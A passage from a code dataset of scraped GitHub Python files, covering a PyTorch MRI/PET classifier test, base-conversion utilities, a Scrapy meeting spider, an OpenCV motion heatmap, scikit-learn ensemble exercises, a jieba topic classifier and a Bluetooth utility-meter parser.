False\r\ntorch.backends.cudnn.deterministic = True\r\n\r\n# initial setup\r\nTEST_BATCH_SIZE = 1\r\nWORKERS = 0\r\n# load test data \r\ndataset_test = TestDataset()\r\ndata_loader_test = torch.utils.data.DataLoader(dataset_test, batch_size= TEST_BATCH_SIZE, shuffle=False, num_workers=WORKERS)\r\n\r\n\r\n# number of iterations\r\niter_t = 1\r\n\r\n# load model\r\nT = PT_DCN().cuda() \r\nT.load_state_dict(torch.load('./Classification_save/...pth'))\r\n\r\n\r\nTP = 0\r\nFP = 0\r\nFN = 0\r\nTN = 0\r\nlabels = []\r\nscores = []\r\nfor val_test_data in data_loader_test:\r\n val_test_imgs = val_test_data[0]\r\n val_test_labels = val_test_data[1]\r\n val_test_labels_ = Variable(val_test_labels).cuda()\r\n val_test_data_batch_size = val_test_imgs.size()[0]\r\n\r\n mri_images_ = val_test_imgs[:, 0, :, :, :].view(val_test_data_batch_size, 1, 76, 94, 76)\r\n mri_images_ = Variable(mri_images_.cuda(), requires_grad=False)\r\n pet_images_ = val_test_imgs[:, 1, :, :, :].view(val_test_data_batch_size, 1, 76, 94, 76)\r\n pet_images_ = Variable(pet_images_.cuda(), requires_grad=False)\r\n\r\n # input\r\n result_c_ = T(mri_images_, pet_images_)\r\n out_c = F.softmax(result_c_, dim=1)\r\n score = out_c[0][1].data.cpu().item()\r\n score = round(score, 4)\r\n scores.append(score)\r\n\r\n _, predicted__ = torch.max(out_c.data, 1)\r\n PREDICTED = predicted__.data.cpu().numpy()\r\n\r\n # if score > 0.5:\r\n # PREDICTED = 1\r\n # else:\r\n # PREDICTED = 0\r\n\r\n REAL = val_test_labels_.data.cpu().numpy()\r\n labels.append(REAL)\r\n\r\n if PREDICTED == 1 and REAL == 1:\r\n TP += 1\r\n elif PREDICTED == 1 and REAL == 0:\r\n FP += 1\r\n elif PREDICTED == 0 and REAL == 1:\r\n FN += 1 \r\n elif PREDICTED == 0 and REAL == 0:\r\n TN += 1\r\n else:\r\n continue\r\n\r\ntest_acc = (TP + TN)/(TP + TN + FP + FN)\r\ntest_sen = TP/(TP + FN)\r\ntest_spe = TN/(FP + TN)\r\n\r\nfpr, tpr, thresholds = roc_curve(labels, scores)\r\nroc_auc = auc(fpr, tpr)\r\ntest_f1s = 2*(TP/(TP + FP + 0.0001))*(TP/(TP + FN + 0.0001))/((TP/(TP + FP + 0.0001)) + (TP/(TP + FN + 0.0001)) + 0.0001)\r\n\r\n\r\n# print log info\r\nprint(\r\n 'Test_ACC:{:.4f} {}/{}'.format(round(test_acc, 4), (TP + TN), (TP + TN + FP + FN)),\r\n 'Test_SEN:{:.4f} {}/{}'.format(round(test_sen, 4), TP , (TP + FN)),\r\n 'Test_SPE:{:.4f} {}/{}'.format(round(test_spe, 4), TN, (FP + TN)),\r\n 'Test_AUC:{:.4f}'.format(round(roc_auc, 4) ),\r\n 'Test_F1S:{:.4f}'.format(round(test_f1s, 4) ),\r\n )\r\n\r\n","repo_name":"xiaoxingxingkz/TPA-GAN","sub_path":"test_PT_DCN.py","file_name":"test_PT_DCN.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"67"} +{"seq_id":"1540871275","text":"#Decimal to Binary\ndef decimal_to_binary(num):\n try:\n num = int(num)\n if num < 0:\n return 'Must be a positive integer'\n elif num == 0:\n return '0'\n else:\n return str(decimal_to_binary(num // 2) + str(num % 2)).lstrip('0')\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n\n#Decimal to Octal\ndef decimal_to_octal(num):\n try:\n num = int(num)\n if num < 0:\n return 'Must be a positive integer'\n elif num == 0:\n return '0'\n else:\n return str(decimal_to_octal(num // 8) + str(num % 8)).lstrip('0')\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n#Decimal to Hexadecimal\ndef decimal_to_hexadecimal(num):\n try:\n num = int(num)\n if num == 0:\n return '0'\n else:\n return hex(num).strip('0x').upper()\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n# result = decimal_to_hexadecimal('0')\n# print(result)\n\ndef decimal_to_binary_octal_hex(num):\n try:\n binary = decimal_to_binary(num)\n octal = decimal_to_octal(num)\n hexa = decimal_to_hexadecimal(num)\n values = [binary, octal, hexa]\n if not 'error' in binary and not 'error' in octal and not 'error' in hexa:\n result = {\n 'binary': binary,\n 'octal': octal,\n 'hexa': hexa\n }\n return result\n else:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n except: \n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n\n# result = decimal_to_hexadecimal('34t2')\n# print(result['error'])\n\n\n#Binary to Decimal\ndef binary_to_decimal(num):\n try:\n if num == '0':\n return '0'\n decimal = 0\n power = len(str(num)) - 1\n for c in str(num):\n if c == '0' or c == '1':\n decimal += int(c) * (2 ** power)\n power -= 1\n else:\n error = {\n 'error': \"A binary number cannot have values other than 0 or 1\"\n }\n return error\n\n return str(decimal).lstrip('0')\n except:\n error = {\n 'error': 'Binary value is invalid'\n }\n return error\n\n#Octal to Decimal\ndef octal_to_decimal(num):\n try:\n if num == '0':\n return '0'\n octal = 0\n power = len(str(num)) - 1\n for c in str(num):\n octal += int(c) * (8 ** power)\n power -= 1\n return str(octal).lstrip('0')\n except:\n error = {\n 'error': 'Octal value is invalid'\n }\n return error\n\n# result = octal_to_decimal('342')\n# print(result)\n\n#Hexadecimal to Decimal\ndef hex_to_decimal(num):\n try: \n num = str(num)\n hexa = 0\n power = len(num) - 1\n for c in str(num):\n c = c.upper()\n if c == 'A':\n c = 10\n elif c == 'B':\n c = 11\n elif c == 'C':\n c = 12\n elif c == 'D':\n c = 13\n elif c == 'E':\n c = 14\n elif c == 'F':\n c = 15\n hexa += int(c) * (16 ** power)\n power -= 1\n if hexa == 0:\n return str(hexa)\n else:\n return str(hexa).lstrip('0')\n except:\n error = {\n 'error': 'Hexadecimal value is invalid'\n }\n return error\n\n\n#Decimal to arbitrary base\ndef decimal_to_base(num, base):\n num = int(num)\n base = int(base)\n try:\n if num < 0:\n return 'Must be a positive integer'\n elif num == 0:\n return '0'\n else:\n return decimal_to_base(num // base, base) + str(num % base)\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n\n#Convert decimal to fraction\ndef decimal_to_fraction(dec):\n try:\n from fractions import Fraction\n return Fraction(dec).limit_denominator()\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n#Convert Decimal to Percentage\ndef decimal_to_percent(dec):\n try:\n return str(float(dec) * 100) + '%'\n except:\n error = {\n 'error': 'Decimal value is invalid'\n }\n return error\n\n#Convert Percentage to Decimal\ndef percent_to_decimal(dec):\n try:\n dec = dec.strip('%')\n return str(float(float(dec) / 100)) \n except:\n error = {\n 'error': 'Percentage value is invalid'\n }\n return error\n\n#Degrees to deg, min, sec\ndef deg_to_dms(dec):\n try:\n dec = float(dec.strip('°'))\n degrees = int(dec)\n minutes = abs(int(round((abs(dec) - abs(float(degrees))) * 60, 9)))\n seconds = format(abs((abs(dec) - abs(float(degrees)) - (abs(minutes) / 60)) * 3600), '.2f')\n dms = {\n 'deg': str(degrees) + \"°\",\n 'min': str(minutes) + \"′\" , \n 'sec': str(seconds) + \"″\"\n }\n return dms\n except:\n error = {\n 'error': \"Value of degree is invalid\"\n }\n return error\n\n\n\n# result = deg_to_dms('521.4440')\n# print(result)\n\n#dms to degree\ndef dms_to_degree(deg, m, s):\n try:\n if deg == '': deg = '0'\n if m == '': m = '0'\n if s == '': s = '0'\n\n deg = format(float(deg.strip('°')), '.5f')\n m = format(float(m.strip('′')), '.5f')\n s = format(float(s.strip('″')), '.5f')\n if float(deg) < 0 or float(m) < 0 or float(s) < 0:\n return '-' + format(abs(float(deg)) + abs(float(m) / 60) + abs(float(s) / 3600), '.5f') + '°'\n else:\n return format(abs(float(deg)) + abs(float(m) / 60) + abs(float(s) / 3600), '.5f') + \"°\"\n \n except:\n error = {\n 'error': \"Check the values again\"\n }\n return error\n \ndef octal_to_binary(octal):\n try:\n decimal_val = octal_to_decimal(octal)\n binary_val = decimal_to_binary(decimal_val)\n if not 'error' in decimal_val and not 'error' in binary_val:\n return binary_val\n else:\n error = {\n 'error': 'Octal value is invalid'\n }\n return error\n except:\n error = {\n 'error': 'Octal value is invalid'\n }\n return error\n \ndef binary_to_octal(binary):\n try:\n decimal_val = binary_to_decimal(binary)\n octal_val = decimal_to_octal(decimal_val)\n if not 'error' in decimal_val and not 'error' in octal_val:\n return octal_val\n else:\n error = {\n 'error': 'Binary value is invalid'\n }\n return error\n except:\n error = {\n 'error': 'Binary value is invalid'\n }\n return error\n\n \ndef hex_to_binary(hexa):\n try:\n decimal_val = hex_to_decimal(hexa)\n binary_val = decimal_to_binary(decimal_val)\n if not 'error' in decimal_val and not 'error' in binary_val:\n return binary_val\n else:\n error = {\n 'error': 'Hexadecimal value is invalid'\n }\n return error\n except:\n error = {\n 'error': 'Hexadecimal value is invalid'\n }\n return error\n\n# result = hex_to_binary('0')\n# print(result)\n\n \ndef binary_to_hex(binary):\n try:\n if binary == '0':\n return '0'\n decimal_val = binary_to_decimal(binary)\n hex_val = decimal_to_hexadecimal(decimal_val)\n if not 'error' in decimal_val and not 'error' in hex_val:\n return hex_val\n else:\n error = {\n 'error': 'Binary value is invalid'\n }\n return error\n except:\n error = {\n 'error': 'Binary value is invalid'\n }\n return error\n\n\n\n# result = deg_to_dms('34.684')\n# print(result)\n\n#1. Age Calculator\n#2. BMI Calculator\n#3. Time Calculator\n#4. Investment Calculator\n#5. Calorie Calculator \n\n#Age Calculator\ndef age_calculate(dob, other_date):\n try:\n from datetime import date\n d0 = date(dob['year'], dob['month'], dob['day'])\n d1 = date(other_date['year'], other_date['month'], other_date['day'])\n delta = d1 - d0\n return delta.days\n except:\n error = {\n 'error': 'Age value is invalid'\n }\n return error\n# d0 = {\n# 'year': 2000, \n# 'month': 4,\n# 'day': 7\n# }\n# d1 = {\n# 'year': 2010, \n# 'month': 8,\n# 'day': 2\n# }\n\n# result = age_calculate(d0, d1)\n# print(result)\n\n","repo_name":"arads7420/calcsite","sub_path":"calculatorsite/converters/base_conversion.py","file_name":"base_conversion.py","file_ext":"py","file_size_in_byte":8942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70632707733","text":"import re\nfrom collections import defaultdict\nfrom datetime import datetime\n\nfrom city_scrapers_core.constants import BOARD\nfrom city_scrapers_core.items import Meeting\nfrom city_scrapers_core.spiders import CityScrapersSpider\n\n\nclass CuyaArtsCultureSpider(CityScrapersSpider):\n name = \"cuya_arts_culture\"\n agency = \"Cuyahoga County Arts & Culture\"\n timezone = \"America/Detroit\"\n start_urls = [\"https://www.cacgrants.org/about-us/board/board-materials/\"]\n\n def parse(self, response):\n self._parse_minutes(response)\n yield response.follow(\n \"/about-us/board/board-meeting-schedule/\",\n callback=self._parse_schedule,\n dont_filter=True,\n )\n\n def _parse_minutes(self, response):\n \"\"\"Generate a defaultdict of meeting dates to minutes links (if available)\"\"\"\n self.minutes_map = defaultdict(list)\n # Only get the most recent two year groups of minutes\n for item in response.css(\".panel\")[:2].css(\"p\"):\n meeting_str = \" \".join(item.css(\"strong *::text\").extract())\n date_match = re.search(r\"[a-zA-Z]{3,10} \\d{1,2}, \\d{4}\", meeting_str)\n if not date_match:\n return\n date_obj = datetime.strptime(date_match.group(), \"%B %d, %Y\").date()\n for link in item.css(\"a\"):\n link_title = \" \".join(link.css(\"*::text\").extract())\n if \"Minutes\" in link_title:\n self.minutes_map[date_obj].append(\n {\n \"title\": \"Minutes\",\n \"href\": response.urljoin(link.attrib[\"href\"]),\n }\n )\n\n def _parse_schedule(self, response):\n \"\"\"\n Iterate through all meetings for the current year, yielding detail pages\n \"\"\"\n for link in response.css(\".panel-body a\"):\n if \"/maps/\" not in link.attrib[\"href\"]:\n yield response.follow(\n link.attrib[\"href\"], callback=self._parse_detail, dont_filter=True\n )\n\n def _parse_detail(self, response):\n \"\"\"\n `_parse_detail` should always `yield` a Meeting item.\n \"\"\"\n description = self._parse_description(response)\n start = self._parse_start(description)\n if not start:\n return\n\n meeting = Meeting(\n title=self._parse_title(response),\n description=description,\n classification=BOARD,\n start=start,\n end=None,\n all_day=False,\n time_notes=\"\",\n location=self._parse_location(response),\n links=self._parse_links(response) + self.minutes_map[start.date()],\n source=response.url,\n )\n\n meeting[\"status\"] = self._get_status(meeting)\n meeting[\"id\"] = self._get_id(meeting)\n\n yield meeting\n\n def _parse_title(self, response):\n \"\"\"Parse or generate meeting title.\"\"\"\n title_str = response.css(\"#headline h1::text\").extract_first().strip()\n title_clean = re.sub(r\" [a-zA-Z]{3,10} \\d{1,2}, \\d{4}\", \"\", title_str)\n if title_clean == \"Board Meeting\":\n return \"Board of Trustees\"\n return \"Board of Trustees \" + title_clean\n\n def _parse_description(self, response):\n \"\"\"Parse or generate meeting description.\"\"\"\n desc_list = []\n for desc_item in response.css(\"#Content_ceContent > p\"):\n desc_text = re.sub(\n r\"\\s+\", \" \", \" \".join(desc_item.css(\"*::text\").extract())\n ).strip()\n if not desc_text.startswith(\"View the \") and not desc_text.startswith(\n \"Want to \"\n ):\n desc_list.append(desc_text)\n return \"\\n\\n\".join(desc_list).strip()\n\n def _parse_start(self, description):\n \"\"\"Parse start datetime as a naive datetime object.\"\"\"\n dt_match = re.search(\n r\"[a-zA-Z]{3,10} \\d{1,2}, \\d{4} at \\d{1,2}:\\d{2} [ap]m\", description\n )\n if not dt_match:\n return\n return datetime.strptime(dt_match.group(), \"%B %d, %Y at %I:%M %p\")\n\n def _parse_location(self, response):\n \"\"\"Parse or generate location.\"\"\"\n name_str = response.css(\"center h3:last-child::text\").extract_first().strip()\n addr_str = \"\"\n loc_span_str = re.sub(\n r\"\\s+\",\n \" \",\n \" \".join(\n response.css(\"#Content_ceContent > p > span\")[:1]\n .css(\"*::text\")\n .extract()\n ),\n ).strip()\n addr_split = re.split(r\"(, | at )(?=\\d{2}[^:])\", loc_span_str)\n if len(addr_split) > 2 and \"TBD\" not in name_str:\n addr_str = re.sub(r\"( at| in|[\\.\\(\\)])\", \"\", addr_split[-1]).strip()\n return {\n \"name\": name_str,\n \"address\": addr_str,\n }\n\n def _parse_links(self, response):\n \"\"\"Parse or generate links.\"\"\"\n links = []\n for link in response.css(\"#Content_ceContent a\"):\n link_title = \" \".join(link.css(\"*::text\").extract())\n if \".pdf\" in link.attrib[\"href\"].lower():\n if \"agenda\" in link_title.lower():\n link_title = \"Agenda and Handouts\"\n links.append(\n {\n \"title\": link_title.strip(),\n \"href\": response.urljoin(link.attrib[\"href\"]),\n }\n )\n return links\n","repo_name":"City-Bureau/city-scrapers-cle","sub_path":"city_scrapers/spiders/cuya_arts_culture.py","file_name":"cuya_arts_culture.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"67"} +{"seq_id":"71593699414","text":"import cv2\nimport numpy as np\nimport time\nimport random\nfrom collections import deque\n\ncap = cv2.VideoCapture(\"fulll.mp4\")\n\nmaskImage = cv2.imread('mask.png', cv2.IMREAD_GRAYSCALE)\nbgmask = cv2.threshold(maskImage, 120, 255, cv2.THRESH_BINARY)[1]\n\nret0, frame0 = cap.read()\nframes_queue = deque([frame0], maxlen=40)\n\n\nbackground = frame0\n\n\ndef build_background():\n median= np.median(frames_queue, axis=0).astype(dtype=np.uint8)\n return median\n\ndef blur_image(img, num):\n return cv2.GaussianBlur(img, (num, num), 5, None, 3, 2 )\n\nkernelX = cv2.getStructuringElement(cv2.MORPH_CROSS, (5,5))\n\n\naccumulated = np.zeros_like(maskImage, dtype=np.uint8)\naccumulatorLength = 0\nnewAccumulated = np.zeros_like(maskImage, dtype=np.uint16)\n\n\naccumulated = np.zeros_like(maskImage, dtype=np.int64)\n\n\nwhile True:\n ret, frame = cap.read()\n if frame is None:\n break\n \n frames_queue.append(frame)\n\n\n #background = build_background()\n\n difference = cv2.absdiff(blur_image(background,3), blur_image(frame,3))\n \n background = frame\n\n g_dif = cv2.cvtColor(difference, cv2.COLOR_BGR2GRAY)\n \n thresh = cv2.threshold(g_dif, 20, 255, cv2.THRESH_BINARY)[1]\n \n frame_heat = cv2.subtract(thresh, bgmask)\n\n dilated = cv2.dilate(frame_heat, kernelX, iterations=1)\n \n newMask = blur_image(dilated, 7)\n\n cv2.imshow(\"thresh\", thresh)\n cv2.imshow(\"thresh\", newMask)\n\n\n #weight1 = accumulatorLength / (accumulatorLength + 1)\n #weight2 = 1 / (accumulatorLength + 1)\n #if (accumulatorLength==0): accumulated = newMask\n #else: accumulated = cv2.addWeighted(accumulated, weight1, newMask, weight2, 0)\n #accumulatorLength+=1\n \n accumulated = accumulated + newMask\n\n k = cv2.waitKey(1) & 0xff\n if k == 27:\n break\n\n\nweighted = accumulated * (256/accumulated.max())\n\nmap = weighted.astype(np.uint8)\n\n\nheatmap = cv2.applyColorMap(map, cv2.COLORMAP_JET)\n\ncv2.imshow('Result', heatmap)\ncv2.imwrite(\"result3.png\", heatmap)\n\n\n\nprint(\"OK\")\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"ekupka/heatmaps","sub_path":"frame.py","file_name":"frame.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12529080258","text":"import pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder\r\nwbcd = pd.read_csv(\"C:\\\\Users\\\\sriva\\\\Desktop\\\\Ensemble Techniques\\\\assignment\\\\wbcd.csv\")\r\nwbcd=wbcd.iloc[:,1:]\r\n# Data pre-processing\r\nwbcd.head()\r\nwbcd.info()\r\nlb=LabelEncoder()\r\nwbcd.iloc[:,0]=lb.fit_transform(wbcd.iloc[:,0])\r\n# Input and Output Split\r\npredictors = wbcd.loc[:, wbcd.columns!=\"diagnosis\"]\r\ntype(predictors)\r\n\r\ntarget = wbcd.iloc[:,0]\r\ntype(target)\r\n\r\n# Train Test partition of the data\r\nfrom sklearn.model_selection import train_test_split\r\nx_train, x_test, y_train, y_test = train_test_split(predictors, target, test_size = 0.2, random_state=0)\r\n\r\n\r\nfrom sklearn import tree\r\nclftree = tree.DecisionTreeClassifier()\r\nfrom sklearn.ensemble import BaggingClassifier\r\n\r\n\r\nbag= BaggingClassifier(base_estimator = clftree, n_estimators = 500,\r\n bootstrap = True, n_jobs = 1, random_state = 42)\r\n\r\nbag.fit(x_train, y_train)\r\n\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\n\r\n# Evaluation on Testing Data\r\nconfusion_matrix(y_test, bag.predict(x_test))\r\naccuracy_score(y_test, bag.predict(x_test))\r\n\r\n# Evaluation on Training Data\r\nconfusion_matrix(y_train, bag.predict(x_train))\r\naccuracy_score(y_train, bag.predict(x_train))\r\n#Adaboost\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\n\r\nada = AdaBoostClassifier(learning_rate = 0.02, n_estimators = 500)\r\n\r\nada.fit(x_train, y_train)\r\n\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\n\r\n# Evaluation on Testing Data\r\nconfusion_matrix(y_test, ada.predict(x_test))\r\naccuracy_score(y_test, ada.predict(x_test))\r\n\r\n# Evaluation on Training Data\r\naccuracy_score(y_train, ada.predict(x_train))\r\n\r\n# Gradient boosting\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\ngrad_clf = GradientBoostingClassifier()\r\n\r\ngrad_clf.fit(x_train, y_train)\r\n\r\nconfusion_matrix(y_test, grad_clf.predict(x_test))\r\naccuracy_score(y_test, grad_clf.predict(x_test))\r\n\r\n# Hyperparameters\r\ngrad_clf2 = GradientBoostingClassifier(learning_rate = 0.02, n_estimators = 800, max_depth = 1)\r\ngrad_clf2.fit(x_train, y_train)\r\n\r\n\r\n# Evaluation on Testing Data\r\nconfusion_matrix(y_test, grad_clf2.predict(x_test))\r\naccuracy_score(y_test, grad_clf2.predict(x_test))\r\n\r\n# Evaluation on Training Data\r\naccuracy_score(y_train, grad_clf2.predict(x_train))\r\n####### Extreme gradient boosting #####\r\nimport xgboost as xgb\r\n\r\nxgb_clf = xgb.XGBClassifier(max_depths = 5, n_estimators = 5000, learning_rate = 0.3, n_jobs = -1)\r\n\r\nxgb_clf.fit(x_train, y_train)\r\n\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\n\r\n# Evaluation on Testing Data\r\nconfusion_matrix(y_test, xgb_clf.predict(x_test))\r\naccuracy_score(y_test, xgb_clf.predict(x_test))\r\n\r\nxgb.plot_importance(xgb_clf)\r\n\r\nxgb_clf = xgb.XGBClassifier(n_estimators = 500, learning_rate = 0.1, random_state = 42)\r\n\r\nparam_test1 = {'max_depth': range(3,10,2), 'gamma': [0.1, 0.2, 0.3],\r\n 'subsample': [0.8, 0.9], 'colsample_bytree': [0.8, 0,9],\r\n 'rag_alpha': [1e-2, 0.1, 1]}","repo_name":"Ankitsri1710/Data-Science-projects","sub_path":"Ensemble Technique/wbcd.py","file_name":"wbcd.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"16006394840","text":"# -*- coding: utf-8 -*-\r\nimport json\r\nimport pandas as pd\r\nimport jieba.posseg as pseg\r\nimport jieba.analyse\r\nimport itertools\r\nfrom gensim import corpora, models, similarities\r\nfrom tqdm import tqdm\r\nimport gensim\r\nimport jieba\r\nimport pickle\r\nimport copy \r\nimport numpy as np\r\n\r\n\r\ndef not_nan(obj):\r\n return obj==obj\r\n\r\ndef getPseg(inputs,allowPOS = ['n','ns','vn','sx']):\r\n words = pseg.cut(inputs)\r\n words_pseg = {}\r\n for word, flag in words:\r\n words_pseg[word] = flag\r\n \r\n pseg_isnot = [i in allowPOS for i in words_pseg.values()]\r\n return [j for i,j in enumerate(words_pseg.keys()) if pseg_isnot[i]]\r\n\r\n\r\n# 整体主题密度\r\ndef totalTopic(topic_tag,topic_class,TopicDict):\r\n total_topic_list = copy.copy(topic_class)\r\n total_topic = [TopicDict[i]['topic'] for i in topic_tag]\r\n for totol in total_topic:\r\n for i in totol:\r\n total_topic_list[i] +=1\r\n return total_topic_list\r\n\r\n# 单词粒度主题密度\r\ndef perTopic(topic_tag,topic_class,TopicDict):\r\n per_topic_list = copy.copy(topic_class)\r\n per_topic = [TopicDict[i]['topic_detail'] for i in topic_tag]\r\n for per in per_topic:\r\n for x,y in per.items():\r\n if y > 0:\r\n per_topic_list[x] += y\r\n return per_topic_list\r\n\r\n# tfidf\r\ndef ShowTfidf(topic_tag,TopicDict):\r\n dict_tfidf = {}\r\n for i in topic_tag:\r\n dict_tfidf[i] = {}\r\n dict_tfidf[i]['tf'],dict_tfidf[i]['idf'],dict_tfidf[i]['tfidf'] = \\\r\n TopicDict[i]['tf'],TopicDict[i]['idf'],TopicDict[i]['tf']*TopicDict[i]['idf']\r\n return dict_tfidf\r\n\r\n# 排序算法\r\ndef TopN(per_topic_list,perc = 90):\r\n percentile = np.percentile(np.array(list(per_topic_list.values())),perc)\r\n means = np.mean(np.array(list(per_topic_list.values())))\r\n topSe = [[x,y,y/means] for x,y in per_topic_list.items() if y>percentile]\r\n toDict = {}\r\n for item in topSe:\r\n toDict[item[0]] = {}\r\n toDict[item[0]]['num'],toDict[item[0]]['degree'] = item[1],item[2]\r\n return toDict\r\n\r\n# all\r\n\r\ndef TopicClassifier(sentense,TopicDict,topic_class,percs = 90,allowPOSs = ['topic']):\r\n topic_tag = getPseg(sentense,allowPOS = allowPOSs)\r\n total_topic_list = totalTopic(topic_tag,topic_class,TopicDict) # 整体主题分类\r\n per_topic_list = perTopic(topic_tag,topic_class,TopicDict) # 单个主题分类\r\n dict_topic = {'sentense':sentense,\\\r\n 'totalTopic':TopN(total_topic_list,perc = percs),\\\r\n 'perTopic':TopN(per_topic_list,perc = percs),\\\r\n 'tfidf':ShowTfidf(topic_tag,TopicDict)}\r\n return dict_topic\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n # 准备材料\r\n TopicDict = pickle.load(open('./output_0624.pkl', 'rb'))\r\n topic_material = eval(open('./topic_material.json', \"r\").read())\r\n # 自定义用户词典\r\n for word in tqdm(TopicDict.keys()):\r\n jieba.add_word(word, freq=10, tag='topic')\r\n # 分类\r\n sentense1 = '网易云音乐是一款专注于发现与分享的音乐产品,依托专业音乐人、DJ、好友推荐及社交功能,为用户打造全新的音乐生活。'\r\n sentense2 = '《创造101》终于收官了——经过昨晚(6月23日)的一夜鏖战,十一名女团人选最终确定:孟美岐、吴宣仪、杨超越、段奥娟、yamy、赖美云、紫宁、Sunnee(杨芸晴)、李紫婷、傅菁、徐梦洁。'\r\n sentense3 = '世界杯小组赛进入最后一轮,前2轮表现极其出色的C罗赢得了全世界的称赞,就连葡萄牙总统马塞洛-雷贝洛-德索萨也在同俄罗斯总统普京会面时,也不禁自夸:我们葡萄牙可是有C罗这种顶级巨星的。'\r\n TopicClassifier(sentense,TopicDict,topic_material['topic_class'],percs = 90,allowPOSs = ['topic'])\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mattzheng/TopicClassifier","sub_path":"TopicClassifier.py","file_name":"TopicClassifier.py","file_ext":"py","file_size_in_byte":3824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21680417224","text":"import numpy as np\nimport sys,os\nfrom evaluation import nDCG5, save_result \nimport data\nimport json\n\nif __name__ == '__main__':\n score= []\n num = len(sys.argv) -1\n for i in range(num):\n score_path = sys.argv[i+1]\n score.append(np.load(score_path, allow_pickle=True).item())\n\n score_enm = {} \n for k in score[0].keys():\n score_list = []\n for i in range(len(score[0][k])):\n score_list.append((0, score[0][k][i][1]))\n score_enm[k] = score_list\n\n for k in score_enm.keys():\n for ind in range(num):\n for i in range(len(score_enm[k])):\n for j in range(len(score[ind][k])):\n if score_enm[k][i][1] == score[ind][k][j][1]:\n if ind ==0:\n score_enm[k][i] = (score_enm[k][i][0] + (1./6.)*score[ind][k][j][0], score_enm[k][i][1])\n elif ind >= 1 and ind <= 5:\n score_enm[k][i] = (score_enm[k][i][0] +(1./6.)* score[ind][k][j][0], score_enm[k][i][1])\n break\n #score_enm[k].sort(key=lambda x: x[0], reverse=True)\n score_enm[k].sort(key=lambda x: x[0], reverse=False)\n f = open('../data/valid/valid_answer.json')\n #answer = json.load(f)\n answer = None \n if answer is None:\n save_result(score_enm)\n else:\n ndcg5 = nDCG5(score_enm, answer)\n print('Text to image nDCG5: ', ndcg5)\n\n","repo_name":"onealwj/KDD-Cup-2020-MultimodalitiesRecall","sub_path":"code/ensemble_v1.py","file_name":"ensemble_v1.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"7281985026","text":"\"\"\"Constants for the Elehant integration.\"\"\"\n\nfrom dataclasses import dataclass, field\nfrom enum import IntEnum\nfrom typing import List, NamedTuple\n\nfrom bleak.backends.device import BLEDevice\n\n\nDOMAIN = \"elehant_meter\"\n\n# Manufacurer id\nMANUFACTURER_ID = 65535\n\nclass MeterType(IntEnum):\n GAS = 0\n WATER = 1\n WATERD = 2\n WATERT = 3\n\ncounters_mac = {\n\tMeterType.GAS: [\n\t\t'b0:10:01',\n\t\t'b0:11:01',\n\t\t'b0:12:01',\n\t\t'b0:32:01',\n\t\t'b0:42:01'\n\t],\n\tMeterType.WATER: [\n\t\t'b0:01:02',\n\t\t'b0:02:02'\n\t],\n\tMeterType.WATERD: [\n\t\t'b0:03:02',\n\t\t'b0:05:02'\n\t],\n\tMeterType.WATERT: [\n\t\t'b0:04:02',\n\t\t'b0:06:02'\n\t],\n}\n\n@dataclass\nclass ElehantData:\n\n device: BLEDevice = None\n name: str = None\n meter_reading: str = None\n temperature: str = None\n id_meter: str = None\n battery: str = None\n metertype: MeterType = None\n rssi: str = None\n\n def __init__(self, device=None, ad_data=None):\n self.device = device\n mac = device.address.lower()\n \n\n if device and ad_data:\n has_manufacurer_data = MANUFACTURER_ID in ad_data.manufacturer_data\n\n for key in counters_mac:\n has_mac = mac[0:8] in counters_mac[key]\n if has_mac : \n metertype = key\n break \n \n if has_manufacurer_data and has_mac:\n raw_bytes = ad_data.manufacturer_data[MANUFACTURER_ID]\n \n c_num = int.from_bytes(raw_bytes[6:9], byteorder='little')\n c_count = int.from_bytes(raw_bytes[9:13], byteorder='little')\n c_temp = int.from_bytes(raw_bytes[14:16], byteorder=\"little\") / 100\n\n self.id_meter =str(c_num)\n self.name = \"Cчетчик \"\n if metertype == MeterType.GAS :\n self.name += \"газа: \"\n else: self.name += \"воды: \"\n \n self.name += str(c_num)\n self.meter_reading = str(c_count/10000)\n self.temperature = str(c_temp)\n self.rssi = ad_data.rssi\n\n\ndef log(data) -> None:\n\n my_file = open(\"elehant_meter.log\", \"a\")\n my_file.writelines(data + \"\\n\")\n my_file.close()\n","repo_name":"Zud71/elehant_meter","sub_path":"elehant_meter/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"17005280469","text":"from ClaseViajeroFrecuente import Viajero\r\nimport csv\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n listaViajero=[]\r\n archivo=open('C:\\\\Users\\\\chili\\\\viajeros.csv') 